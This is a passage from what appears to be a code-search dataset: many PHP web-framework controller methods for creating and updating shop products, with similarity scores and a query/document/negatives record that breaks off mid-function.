$this->render('create', [\n\t 'model' => $model, 'categorylist' => $cat->CTree, 'statuslist' => $sta\n\t ]);\n \t}\n } else {\n return $this->render('create', [\n 'model' => $model, 'categorylist' => $cat->CTree, 'statuslist' => $sta\n ]);\n }\n }", "public function actionCreate()\n {\n if (Yii::$app->user->isGuest) {\n return $this->redirect([\"site/login\"]); \n }\n if(Permiso::requerirRol('lider')){\n $this->layout='/main2';\n }elseif(Permiso::requerirRol('vendedor')){\n $this->layout='/main3';\n }\n $model = new Producto();\n\n \n if ($model->load(Yii::$app->request->post())){ \n \n $model->imagenproducto = UploadedFile::getInstance($model, 'imagen');\n if(isset($model->imagenproducto)){\n $imagen_nombre=rand(0,4000).'image_'.$model->idproveedor.'.'.$model->imagenproducto->extension;\n $imagen_dir='archivo/catalogo/'.$imagen_nombre;\n //print '<pre>';print_r ($model);print $imagen_nombre;print '</pre>';exit;\n $model->imagenproducto->saveAs($imagen_dir);\n $model->imagenproducto=$imagen_dir;\n }\n if($model->save(false)) {\n return $this->redirect(['view', 'id' => $model->idproducto]);\n }\n \n }\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function create()\n {\n $products=Product::all ();\n\n return view ('admin.product.create',compact ('products'));\n }", "public function actionCreate()\n {\n $model = new Product();\n $model->scenario = 'create';\n $sku = \\app\\helpers\\AppHelper::generateSkuProduct();\n $model->SKU = $sku;\n if ($model->load(Yii::$app->request->post())) {\n $request = Yii::$app->request->bodyParams;\n $model->is_active = 1;\n $model->created_at = date('Y-m-d H:i:s');\n $model->updated_at = date('Y-m-d H:i:s');\n if (isset($request['Product']['quantity']) && $request['Product']['quantity'] != \"\") {\n $model->remaining_quantity = $request['Product']['quantity'];\n }\n if ($model->save()) {\n if (isset($request['Product']['quantity']) && $request['Product']['quantity'] != \"\") {\n $productQty = new \\app\\models\\ProductStock();\n $productQty->product_id = $model->product_id;\n $productQty->quantity = $request['Product']['quantity'];\n $productQty->created_date = date('Y-m-d H:i:s');\n $productQty->save();\n }\n Yii::$app->session->setFlash('success', 'Product successfully added');\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function actionCreate()\n {\n $model = new ProductGoods();\n $post = Yii::$app->request->post();\n\n if ($model->load($post) && $model->validate()) {\n\n if($model->addressRadioButton == 'my') {\n $model->address = '';\n } else {\n $model->address = $post['ProductGoods']['address'];\n }\n $model->status = ProductGoods::STATUS_NEW;\n $model->user_id = Yii::$app->user->id;\n $model->save();\n\n return $this->redirect(['update', 'id' => $model->id]);\n// return $this->redirect(['/profile/products']);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function create()\n {\n $product = new Product();\n $action=URL::route('product.store');\n $mode='create';\n $message='';\n $alert='alert-none';\n $disabled='';\n return view('products.create',compact('product','action','mode','message','alert','disabled'));\n }", "public function create()\n\t{\n\t\t\n\t\treturn view('product.create');\n\t}", "public function create()\n {\n return view(\"admin.product.create\");\n }", "public function new_product()\n\t{\n\n\t\t//Inputs the new product into the store\n\t\t$products = array(\n\t\t\"product_name\" => $this->input->post('product_name'),\n\t\t\"price\" => $this->input->post('price'),\n\t\t\"description\" => $this->input->post('description'),\n\t\t\"created_at\" => \"NOW()\",\n\t\t\"updated_at\" => \"NOW()\");\n\n\t\t$this->db->insert('products', $products);\n\n\t\t// Go back to the shop\n\t\tredirect(base_url('shop'));\n\t}", "public function create()\n {\n //\n return view('product.create');\n }", "public function create()\n {\t\n //\n\t\treturn view('products.create');\n }", "public function create(){\n \treturn view('admin.products.create');\n\n }", "public function create()\n {\n return view('product.add_product');\n }", "public function create(){\n \treturn view('products.create');\n }", "public function create()\n {\n //load create form\n return view('products.create');\n }", "public function create() {\n\t\tif ( Auth::user()->user_role != 1 ) {\n\t\t\treturn redirect( '/' );\n\t\t}\n\t\t$data = array();\n\t\t$data['category'] = Category::where( 'category_id', '!=', '16' )->get();\n\t\t$data['title'] = 'Add New Product';\n\n\t\treturn view( 'product.create', $data );\n\t}", "public function create()\n {\n return view(\"products.create\");\n }", "public function create()\n {\n return view(\"products.create\");\n }", "public function create()\r\n {\r\n// return view('admin.product.create');\r\n }", "public function create()\n\t{\n\t\treturn view('admin.products.create');\n\t}", "public function create()\n {\n $data['product'] = new Product;\n $data['manufacturers'] = Manufacturer::all()->pluck('name', 'id');\n $data['form_param'] = ['route'=> 'products.store'];\n return view('products.create', $data);\n }", "public function create()\n {\n $products = Product::all();\n return view('crm::products.create', compact('products'));\n // return view('crm::products.create');\n }", "public function create()\n {\n return view('admin.products.create_product');\n }", "public function create()\n {\n return view('admin.product.add-product');\n }", "public function create()\n {\n return view('addproduct');\n }", "public function actionCreate()\n {\n $model = new Product();\n $launch = new Launch();\n\n if ($model->load(\\Yii::$app->request->post()) && $launch->load(\\Yii::$app->request->post())) {\n $isValid = $model->validate();\n $isValid = $launch->validate() && $isValid;\n if ($isValid){\n $launch->save(false);\n $model->link('launch', $launch);\n $model->save(false);\n return $this->redirect(['update', 'id' => $model->launch_id]);\n }\n }\n return $this->render('create', [\n 'model' => $model,\n 'launch' => $launch\n ]);\n }", "public function create()\n {\n $title=\"Products-Create\";\n return view('FrontProducts.addProduct',compact('title'));\n }", "public function create()\n {\n return view('Backend.pages.product.createproduct');\n }", "public function actionProductCreate()\n\t{\n\n\t\t$data = $_POST;\n\t\t$merchantId=$data['merchant_id'];\n\t\t$logFIle = 'product/create/'.$data['merchant_id'];\n\t\tData::createLog('Data : '.json_encode($data),$logFIle,'a');\n\t\n\t\t$connection = Yii::$app->getDb();\n\t\t$result = Jetproductinfo::saveNewRecords($data['data'],$data['merchant_id'],$connection);\n\t}", "public function create()\n {\n return view('addProduct');\n }", "public function actionCreate()\n {\n $model = new Produksi();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function actionCreate()\n\t{\n\t\t$model=new ProductStock;\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['ProductStock']))\n\t\t{\n\t\t\t$model->attributes=$_POST['ProductStock'];\n\t\t\t$model->branch_id = Yii::app()->getModule('user')->user()->profile->getAttribute('branch_id');\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->product__stock_id));\n\t\t}\n\n\t\t$this->render('createStock',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function actionCreate()\n {\n $model = new Products();\n\n if ($model->load(Yii::$app->request->post())) {\n $folderProducts = \\Yii::getAlias('@RealDirectory').'/web/uploads/products';\n if(!is_dir($folderProducts)){\n mkdir($folderProducts, 0777);\n }\n\n $rnd = rand(0,9999);\n $link_images = 'uploads/products/'.date(\"Ymd\").'/';\n\n $folderDetailProducts = $folderProducts.'/'.date(\"Ymd\");\n if(!is_dir($folderDetailProducts)){\n mkdir($folderDetailProducts, 0777);\n }\n $uploadedFileCover = UploadedFile::getInstance($model, 'image');\n $fileNameCover = \"{$rnd}-{$uploadedFileCover}\";\n $model->image = $link_images.$fileNameCover;\n\n $model->created_by = \\Yii::$app->user->id;\n $model->updated_by = \\Yii::$app->user->id;\n $model->created = date('Y-m-d H:i:s');\n $model->updated = date('Y-m-d H:i:s');\n if ( $model->save() ) {\n\n $cats = isset($_POST['Products']['category'])?$_POST['Products']['category']:[];\n if( $cats ){\n foreach ($cats as $cat_id){\n $cat = new ProductCategories();\n $cat->product_id = $model->id;\n $cat->category_id = $cat_id;\n if( $cat->save() )\n \\Yii::$app->session->setFlash('SuccessAddCategories','Add categories success!');\n else{\n print_r($cat->getErrors());\n exit;\n }\n } \n }\n \n $manu = isset($_POST['Products']['manufacturer'])?$_POST['Products']['manufacturer']:[];\n if( count($manu) > 0 ){\n foreach ($manu as $manu_id){\n $cat = new ProductManufacturers();\n $cat->product_id = $model->id;\n $cat->manufacturers_id = $manu_id;\n if( $cat->save() )\n \\Yii::$app->session->setFlash('SuccessAddManufacturer','Add Manufacturer success!');\n else{\n print_r($cat->getErrors());\n exit;\n }\n } \n } \n\n $tags = isset($_POST['Products']['tags'])?$_POST['Products']['tags']:[];\n if( count($tags) > 0 ){\n foreach ($tags as $tag){\n $check = Tags::find()->where('id =:id',[':id'=>$tag])->one();\n if ($check) {\n $check->total += 1;\n $check->updated = date('Y-m-d H:i:s');\n if ($check->save()) {\n $productTags = new ProductTags();\n $productTags->product_id = $model->id;\n $productTags->tag_id = $check->id;\n $productTags->created = date('Y-m-d H:i:s');\n $productTags->updated = date('Y-m-d H:i:s');\n $productTags->save();\n }\n else{\n print_r($check->getErrors());\n exit;\n }\n }\n else {\n $model_tag = new Tags(); \n $model_tag->name = $tag;\n $model_tag->slug = \\Yii::$app->func->makeAlias($tag);\n $model_tag->total = 1;\n $model_tag->created = date('Y-m-d H:i:s');\n $model_tag->updated = date('Y-m-d H:i:s');\n if ($model_tag->save()){\n $productTags = new ProductTags();\n $productTags->product_id = $model->id;\n $productTags->tag_id = $model_tag->id;\n $productTags->created = date('Y-m-d H:i:s');\n $productTags->updated = date('Y-m-d H:i:s');\n $productTags->save();\n }\n else{\n print_r($model_tag->getErrors());\n exit;\n }\n }\n \n } \n } \n\n\n if ($model->image && $model->validate()) {\n if(!empty($uploadedFileCover)){\n $uploadedFileCover->saveAs(Yii::$app->basePath.'/web/'.$link_images.$fileNameCover);\n }\n }\n\n return $this->redirect(['view', 'id' => $model->id]);\n } \n else{\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n //\n return view('products/create');\n }", "public function create()\n {\n //funcion para mostrar vista crear\n return view(\"productos.create\");\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n return view('product.create');\n }", "public function create()\n {\n $titleBtn = 'Nuevo Producto';\n $route = route('products.store');\n $method = 'POST';\n $product = new Products;\n\n return view('products.new', compact('titleBtn', 'route', 'method', 'product'));\n\n }", "public function create()\n {\n\n return view('admin/products.create',[\n 'product' => new Product\n ]);\n }", "public function create()\n {\n return view('product.add');\n }", "public function create()\n {\n $statusProducts = StatusProduct::all();\n $categoryProducts = CategoryProduct::all();\n return view('adminlte::products.create', compact('statusProducts','categoryProducts'));\n }", "public function create() // formulario registro\n {\n return view(products.create);\n }", "public function create()\n {\n //\n return view('producte.create');\n\n }", "public function create()\n {\n if (!Session::get('login')) {\n return redirect('/');\n } else {\n return view('product.create');\n }\n }", "public function actionCreate()\n {\n $model = new JetShopDetails();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n //\n return view(\"productos.create\");\n }", "public function create()\n {\n $products = Product::all();\n $users = User::all();\n $categories = Category::all();\n return view('frontend.createproduct', ['products' => $products, 'users' => $users, 'categories' => $categories]);\n }", "public function create()\n {\n return view('admin.product.create');\n }", "public function create()\n {\n return view('admin.product.create');\n }", "public function create()\n {\n return view('admin.product.create');\n }", "public function create()\n {\n //\n $vendor = Vendor::all();\n $category = Category::all();\n return view('admin.superadmin.products.product_create', compact('category', 'vendor'));\n }", "public function create()\n {\n $data['method']=\"POST\";\n return view('../product_add',$data);\n }", "public function create()\n {\n //\n return view('products.create');\n }", "public function create()\n {\n return view('backend.product.create');\n }", "public function create()\n\t{\n return view('productos.create');\n\t}", "public function actionCreate()\n {\n $model = new Products();\n\n $brands = Brands::find()->asArray()->all();\n $categories = Categories::find()->asArray()->all();\n $products = Products::find()->asArray()->all();\n $products_list = ArrayHelper::map($products,'id','title');\n $brands_list = ArrayHelper::map($brands,'id','title');\n $categories_list = ArrayHelper::map($categories,'id','title');\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n\n $imgFile = UploadedFile::getInstance($model, \"image\");\n\n if (!empty($imgFile)) {\n\n $imgPath = Yii::getAlias(\"@frontend\") . \"/web/images/products/\";\n //$image_name = (uniqid('logo').$imgPath->baseName.date('dHis') ). '.' . $imgPath->extension;\n\n $imgName = Yii::$app->security->generateRandomString() . '.' . $imgFile->extension;\n\n $path = $imgPath . $imgName;\n if($imgFile->saveAs($path)){\n $model->image = $imgName;\n $model->update(false);\n }\n }\n\n\n return $this->redirect(['index']);\n }\n\n return $this->render('create', [\n 'model' => $model,\n 'brands_list' => $brands_list,\n 'products' => $products_list,\n 'categories_list' => $categories_list\n ]);\n }", "public function actionCreate()\n {\n $model = new Purchase();\n if ($model->load(Yii::$app->request->post())) {\n if ($model->save()) {\n Yii::$app->session->setFlash('success', AppConstants::MESSAGE_SAVE_SUCCESS);\n return $this->redirect(['view', 'id' => $model->id]);\n }\n }\n\n return $this->render('create', [\n 'model' => $model,\n ]);\n }", "public function create()\n {\n return view('dashboard.product.create');\n }", "public function create()\n\n {\n\n $product = new Product;\n\n\n\n $categories = Category::all(['id', 'title']);\n\n\n\n return view(\"products.create\", compact('product', 'categories'));\n\n }", "public function create()\n {\n //\n $data = array(\n \"title\" => 'Add Product',\n \"product_categories\" => ProductCategory::all()\n );\n\n return view('products.create')->with($data);\n }", "public function actionAddProduct()\n\t{\n\t\tif(Yii::app()->request->isPostRequest)\n\t\t{\n\t\t\t$order = $this->_loadModel($_POST['order_id']);\n\t\t\t$product = StoreProduct::model()->findByPk($_POST['product_id']);\n\n\t\t\tif(!$product)\n\t\t\t\tthrow new CHttpException(404, Yii::t('OrdersModule.admin', 'Ошибка. Продукт не найден.'));\n\n\t\t\t$ordered_product = new OrderProduct;\n\t\t\t$ordered_product->order_id = $order->id;\n\t\t\t$ordered_product->product_id = $product->id;\n\t\t\t$ordered_product->name = $product->name;\n\t\t\t$ordered_product->quantity = $_POST['quantity'];\n\t\t\t$ordered_product->sku = $product->sku;\n\t\t\t$ordered_product->price = $_POST['price'];\n\t\t\t//$ordered_product->price = StoreProduct::calculatePrices($product, array(), 0);\n\t\t\t$ordered_product->save();\n\t\t}\n\t}", "public function create()\n {\n // in de create method van Product willen we de category data en model gebruiken\n\n $categories = Category::all(); \n return view ('admin.products.create', compact('categories')); \n\n }", "public function create()\n {\n $categories = Category::get();\n $brands = Brand::get();\n return view('admin.product.add',compact('categories','brands'));\n }", "public function create()\n {\n return view('website.backend.product.create');\n }", "public function create()\n {\n $title = \"Create new product\";\n\n $categories = ProductCategory::all();\n\n return view('pages.product.create', [\n 'title' => $title,\n 'categories' => $categories\n ]);\n }", "public function create()\n {\n return view('admin.products.create');\n\n }", "public function addAction()\n {\n\n $this->view->headTitle()->prepend('Add Product');\n\n $this->_helper->viewRenderer->setRender('form');\n\n $request = $this->getRequest();\n\n $form = new Application_Form_Product();\n \n if ($request->isPost()) {\n if ($form->isValid($request->getPost())) {\n\n $this->loadModel('product');\n $this->modelProduct->insert($form->getValues());\n\n $this->view->success = true;\n $this->view->productName = $form->getValues()['name'];\n $this->view->actionPerformed = 'added';\n $form->reset();\n }\n }\n \n $this->view->form = $form;\n }", "public function actionCreate()\r\n {\r\n // Access check\r\n self::checkAdmin();\r\n\r\n // Get the list of categories for the drop-down list\r\n $categoriesList = Category::getCategoriesListAdmin();\r\n\r\n // Form processing\r\n if (isset($_POST['submit'])) {\r\n // If the form is submitted\r\n // Get the data from the form\r\n $options['name'] = $_POST['name'];\r\n $options['code'] = $_POST['code'];\r\n $options['price'] = $_POST['price'];\r\n $options['category_id'] = $_POST['category_id'];\r\n $options['brand'] = $_POST['brand'];\r\n $options['availability'] = $_POST['availability'];\r\n $options['description'] = $_POST['description'];\r\n $options['is_new'] = $_POST['is_new'];\r\n $options['is_recommended'] = $_POST['is_recommended'];\r\n $options['status'] = $_POST['status'];\r\n\r\n // Error flag in the form\r\n $errors = false;\r\n\r\n // Validate values as needed\r\n if (!isset($options['name']) || empty($options['name'])) {\r\n $errors[] = 'Fill in the fields';\r\n }\r\n\r\n if ($errors == false) {\r\n // If there are no errors\r\n // Add a new product\r\n $id = Product::createProduct($options);\r\n\r\n // If the record is added\r\n if ($id) {\r\n // Check if the image is loaded through the form\r\n //print_r($_FILES[\"image\"]);die();\r\n \r\n if (is_uploaded_file($_FILES[\"image\"][\"tmp_name\"])) {\r\n // If downloaded, move it to the desired folder, give a new name.\r\n move_uploaded_file($_FILES[\"image\"][\"tmp_name\"], $_SERVER['DOCUMENT_ROOT'] . \"/upload/images/products/{$id}.jpg\");\r\n }\r\n }\r\n\r\n // Redirecting the user to the product management page\r\n header(\"Location: /admin/product\");\r\n }\r\n }\r\n\r\n // We connect the view\r\n require_once(ROOT . '/views/admin_product/create.php');\r\n return true;\r\n }", "public function create()\n {\n $cate = Category::all();\n return view('back-end.page.product.addProduct',compact('cate'));\n }", "public function store(CreateProductRequest $request)\n\t{\n\t\t$this->product->create($request->all());\n\t\t\n\t\treturn redirect()->route('product.index');\n\t}", "public function actionCreate()\n {\n $model = new Detallecarrito();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'codProducto' => $model->codProducto, 'idCarrito' => $model->idCarrito]);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }", "public function create()\n {\n $categories = Category::all();\n return view('backEnd.product.createProduct')->with('categories', $categories);\n }", "public function newProduct()\n {\n return view('admin.new-product');\n }", "public function create()\n {\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \"Create Product Item\";\n $this->data['mode'] = \"create\";\n return view('product.form', $this->data);\n }", "public function create()\n {\n return view('productor.create');\n }", "public function create() : View\n {\n $data['title'] = 'Nuevo producto';\n $data['action'] = route('product.store');\n $data['method'] = 'POST';\n $data['product'] = null;\n\n return view('web.product.form')\n ->with('data', $data);\n }" ]
[ "0.8639409", "0.85879195", "0.85451835", "0.8530748", "0.8457998", "0.8359206", "0.8235587", "0.81828195", "0.8121348", "0.79258865", "0.7871166", "0.7807815", "0.7685996", "0.76532024", "0.76225764", "0.75987333", "0.75884813", "0.7525489", "0.7513798", "0.75107676", "0.74989015", "0.7498887", "0.7479837", "0.7479641", "0.74725974", "0.7469944", "0.7467165", "0.74397486", "0.7402349", "0.7399065", "0.73859644", "0.73755693", "0.7374935", "0.7337273", "0.7332535", "0.73284847", "0.73284847", "0.73251593", "0.73037374", "0.7284527", "0.72820663", "0.7263105", "0.72584784", "0.7256874", "0.7248272", "0.7246474", "0.72445494", "0.72439694", "0.7236237", "0.7228025", "0.72230977", "0.7220365", "0.7219839", "0.72177184", "0.7213276", "0.7213276", "0.7213276", "0.7213276", "0.7213276", "0.7213276", "0.7213276", "0.7213109", "0.7206306", "0.71988904", "0.7193787", "0.71930766", "0.71819496", "0.71808803", "0.7178897", "0.7172805", "0.7166586", "0.7166191", "0.7166191", "0.7166191", "0.7165277", "0.71461123", "0.71433353", "0.7141684", "0.71365905", "0.71364313", "0.7128119", "0.7119567", "0.71131206", "0.71089387", "0.71073776", "0.71048445", "0.710085", "0.70998996", "0.7097854", "0.7094816", "0.7081497", "0.70770836", "0.7075224", "0.7070895", "0.7070533", "0.7067605", "0.7065528", "0.70642173", "0.70604587", "0.70593536" ]
0.73343915
34
Updates an existing Product model. If update is successful, the browser will be redirected to the 'view' page.
public function actionUpdate($id) { $this->layout='inner'; $model = $this->findModel($id); $vendor = ArrayHelper::map(User::find()->where(['usertype'=>'Vendor'])->all(), 'id', 'username'); $cat_list = ArrayHelper::map(ProductCategory::find()->where(['parent_id'=>'0'])->all(), 'id', 'cat_name'); $cat= ProductCat::find()->Where(['product_id'=>$id])->one(); $query=$this->fetchChildCategories($cat['category_id']); $str=rtrim($this->sam, "|"); $str_data=explode("|",$str); if($str_data>0){ // $str_data[]=$cat['category_id']; } // print_r($str_data); die; if ($model->load(Yii::$app->request->post())) { //$last_cat=end($_POST['Product']['category_id']); if($model->save()){ //$sql="update product_cat set category_id = '".$last_cat ."' WHERE product_id='".$model->id."'"; //Yii::$app->db->createCommand($sql)->execute(); /*$product_cat= new ProductCat(); $product_cat->product_id=$model->id; $product_cat->category_id=$last_cat; $product_cat->save();*/ //Yii::$app->getSession()->setFlash('success','successful updated'); return $this->redirect(['add-search-terms','id'=>$id]); } } else { return $this->render('update', [ 'model' => $model, 'cat'=>$str_data, 'vendor'=>$vendor, 'cat_list'=>$cat_list, ]); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function actionUpdate($id)\n\t{\n\t\t$model=$this->loadModel($id);\n\n\t\t// Uncomment the following line if AJAX validation is needed\n\t\t// $this->performAjaxValidation($model);\n\n\t\tif(isset($_POST['Product']))\n\t\t{\n\t\t\t$model->attributes=$_POST['Product'];\n\t\t\tif($model->save())\n\t\t\t\t$this->redirect(array('view','id'=>$model->id));\n\t\t}\n\n\t\t$this->render('update',array(\n\t\t\t'model'=>$model,\n\t\t));\n\t}", "public function actionUpdate($id)\n {\n /* @var $modelProduct \\common\\models\\Product */\n\n $modelProduct = $this->findModel($id);\n\n if ($modelProduct->load(Yii::$app->request->post())):\n if($modelProduct->updateObject($modelProduct)):\n return $this->redirect(['view', 'id' => $modelProduct->id]);\n endif;\n endif;\n\n return $this->render('update', [\n 'modelProduct' => $modelProduct,\n ]);\n }", "public function update(){\n $this->product->id = $_POST['id'];\n $this->product->name = $_POST['name'];\n $this->product->price = $_POST['price'];\n $this->product->description = $_POST['description'];\n $this->product->category_id = $_POST['category_id'];\n\n\n\n // update the product\n if($this->product->update()){\n header(\"Refresh:2\");\n echo \"<div class=\\\"alert alert-success alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Product was updated.\";\n echo \"</div>\";\n }\n\n // if unable to update the product, tell the user\n else{\n echo \"<div class=\\\"alert alert-danger alert-dismissable\\\">\";\n echo \"<button type=\\\"button\\\" class=\\\"close\\\" data-dismiss=\\\"alert\\\" aria-hidden=\\\"true\\\">&times;</button>\";\n echo \"Unable to update product.\";\n echo \"</div>\";\n }\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n $model->scenario = 'update';\n if ($model->load(Yii::$app->request->post())) {\n $model->updated_at = date('Y-m-d H:i:s');\n if ($model->save()) {\n Yii::$app->session->setFlash('success', 'Product successfully updated');\n return $this->redirect(['index']);\n } else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }\n return $this->render('update', [\n 'model' => $model,\n ]);\n }", "public function actionUpdate($id) {\n $model = $this->loadModel($id);\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['ClinicStoreproduct'])) {\n $model->attributes = $_POST['ClinicStoreproduct'];\n if ($model->save())\n $this->redirect(array('view', 'id' => $model->id));\n }\n\n $this->render('update', array(\n 'model' => $model,\n ));\n }", "public function actionUpdate($id)\n {\n $model=$this->loadModel($id);\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if(isset($_POST['Product']))\n {\n $oldImage=$model->image;\n \n $model->attributes=$_POST['Product'];\n \n $newFileName=$this->uploadFile($model, 'image');\n if($newFileName!=\"\"){\n $model->image=$newFileName;\n }else{\n $model->image=$oldImage;\n }\n \n \n if($model->save())\n $this->redirect(array('view','id'=>$model->idProduct));\n }\n\n $this->render('update',array(\n 'model'=>$model,\n ));\n }", "public function actionUpdate($id)\n {\n\t $model = $id ? $this->findModel($id) : new Product();\n\t\tif(Yii::$app->request->post() && $model->load(Yii::$app->request->post())){\n\t\t\t$uploadedImage = UploadedFile::getInstance($model, 'image');\n\t\t\tif($uploadedImage){\n\t\t\t\t$imgPath = 'uploads/products/' . time().rand(100, 999) . '.' . $uploadedImage->extension;\n\t\t\t\t$uploadedImage->saveAs($imgPath);\n\t\t\t\t$model->image = $imgPath;\n\t\t\t}\n\t\t\tif($model->save()){\n\t\t\t\treturn $this->redirect(['view', 'id' => $model->id]);\n\t\t\t}\n\t\t}\n\n return $this->render('update', [\n 'model' => $model,\n ]);\n }", "public function editAction()\n {\n $request = $this->getRequest();\n\n $productId = $request->getParam('id');\n\n if(!$productId) {\n $this->redirect('/');\n }\n\n $this->_helper->viewRenderer->setRender('form');\n\n $form = new Application_Form_Product();\n\n $this->loadModel('product');\n \n if ($request->isPost()) {\n if ($form->isValid($request->getPost())) {\n\n $this->modelProduct->update($form->getValues());\n\n $this->view->success = true;\n $this->view->productName = $form->getValues()['name'];\n $this->view->actionPerformed = 'updated';\n $form->reset();\n }\n } else {\n\n $product = $this->modelProduct->findById($productId);\n\n $this->view->headTitle()->prepend('Edit Product ' . $product['name']);\n\n $categoryToProduct = $this->modelProduct->getCategoryToProduct($productId);\n\n $form->populate($product->toArray());\n\n $form->populate($categoryToProduct->toArray());\n \n }\n\n \n $this->view->form = $form;\n\n }", "public function update($id)\n {\n $product=Products::find($id);\n return view('admin.updateProduct')->with('product',$product);\n }", "public function editAction()\n {\n $productId = $this->_getParam('product_id'); \n\n $this->_model->setId($productId);\n $productModel = $this->_model; \n\n\t $form = new Core_Form_Product_Edit($productId);\n $form->setAction($this->view->url(array(\n 'module' => 'default',\n 'controller' => 'product',\n 'action' => 'edit',\n 'product_id' => $productId,\n ), NULL, TRUE\n ));\n\n if ($this->_request->isPost()) {\n\n if ($form->isValid($_POST)) {\n $productModel->edit($form->getValues());\n\t \t $this->_helper->FlashMessenger('Product item edited successfully');\n $this->_redirect($this->view->url(array(\n 'module' => 'default',\n 'controller' => 'product',\n 'action' => 'viewdetails',\n 'product_id' => $productId,\n ), null, false));\n } else {\n $form->populate($_POST);\n $this->view->form = $form;\n }\n\n } else {\n\t $this->view->form = $form;\n }\n\n }", "public function actionUpdate($id)\n {\n $model = $this->findModel($id);\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['view', 'id' => $model->id_prodcto]);\n } else {\n return $this->render('update', [\n 'model' => $model,\n ]);\n }\n }", "public function update(ProductUpdateRequest $request, Product $product)\n {\n // TODO de update zorgt ervoor dat er een nieuwe prijs in wordt gezet (dus niet de oude waarde)\n\n $product ->name = $request->name; \n $product->description = $request->description; \n $product->category_id = $request->category_id; \n $product->save(); \n\n if($product->latest_price->price != $request->price) \n\n $price = new Price(); \n $price->price = $request->price; \n $price->effdate = Carbon::now(); \n $price->product_id = $product->id; \n $price->save(); \n\n return redirect()->route('products.index')->with('status', 'Product succesvol Geupdate!'); \n\n }", "public function update_product() {\n\t\t$values=array(\"product_name\"=>$_POST['product_name'],\"description\"=>$_POST['description']);\t\t\t\t\n\t\t$where =array(\"id\"=>$_POST['product_id']);\n\t\tif($this->update(\"products\",$values,$where)) {\t\t\t\n\t\t\techo true;\n\t\t}\n\t\telse\n\t\t\techo 'Error while updating';\n\t}", "public function updateProduct(Product $product);", "public function update(ProductRequest $request, $id)\n\t{\n\t\t$product = Product::findOrFail($id);\n $this->saveProduct($request, $product);\n return redirect()->route('products.index')->with('message', 'Item updated successfully.');\n\t}", "public function update(Request $request, Product $product)\n {\n if( Auth::check() ){\n $productUpdate=Product::where('id', $product->id)->update([\n 'category_id' => $request->input('category_id'),\n 'brand_id' => $request->input('brand_id'),\n 'modelname'=>$request->input('modelname'),\n 'productname'=>$request->input('productname'),\n 'isserialised'=>$request->input('isserialised'),\n 'status'=>$request->input('status'),\n ]);\n if($productUpdate){\n return redirect()->route('product.index', ['product'=>$product->id])\n ->with('success' , \"Product Updated successfully\");\n }\n }\n return view('auth.login');\n }", "public function update(ProductUpdateFormRequest $request, $id)\n {\n $product=Product::find($id);\n $product->name=$request->get('product_name');\n $product->cat_id=$request->get('cat_id');\n $product->price=$request->get('price');\n $product->package_id=$request->get('package_id');\n $product->foc_id=$request->get('foc_id');\n $product->description=$request->get('description');\n $product->update();\n return redirect(action('admin\\ProductController@edit',$id))->with('status','successfully edited');\n }", "public function update(ProductRequest $request, Product $product)\n {\n $product->update($request->all());\n return redirect()->route('products.show',$product->id)->with('info', 'Product success update');\n }", "public function actionUpdate($id)\n {\n $product_id = Yii::$app->request->get('product_id');\n $model = $this->findModel($id);\n if (Yii::$app->request->post('hasEditable')) {\n $model->load(Yii::$app->request->post($model->formName())[Yii::$app->request->post('editableIndex')], '');\n $dirtyAttribute = array_keys($model->dirtyAttributes)[0];\n $model->save();\n return Json::encode([\n 'output' => $dirtyAttribute === 'value'?\n $model->{$dirtyAttribute}:\n $model->productAttribute->name,\n 'message'=>''\n ]);\n }\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['product/update', 'id' => $product_id]);\n } else {\n return $this->render($this->update_view, [\n 'model' => $model,\n ]);\n }\n }", "public function update()\n\t{\n\t\t$option = JRequest::getVar('option');\n\t\t$post = JRequest::get('post');\n\t\t$Itemid = JRequest::getVar('Itemid');\n\t\t$redhelper = new redhelper;\n\t\t$Itemid = $redhelper->getCartItemid();\n\t\t$model = $this->getModel('cart');\n\n\t\t// Call update method of model to update product info of cart\n\t\t$model->update($post);\n\t\t$this->_carthelper->cartFinalCalculation();\n\t\t$this->_carthelper->carttodb();\n\t\t$link = JRoute::_('index.php?option=' . $option . '&view=cart&Itemid=' . $Itemid, false);\n\t\t$this->setRedirect($link);\n\t}", "public function update(Request $request, $id ,Product $product)\n {\n $category_id=$request->input('category_id');\n $productCode=$request->input('productCode');\n $productName=$request->input('productName');\n $productDescription=$request->input('productDescription');\n 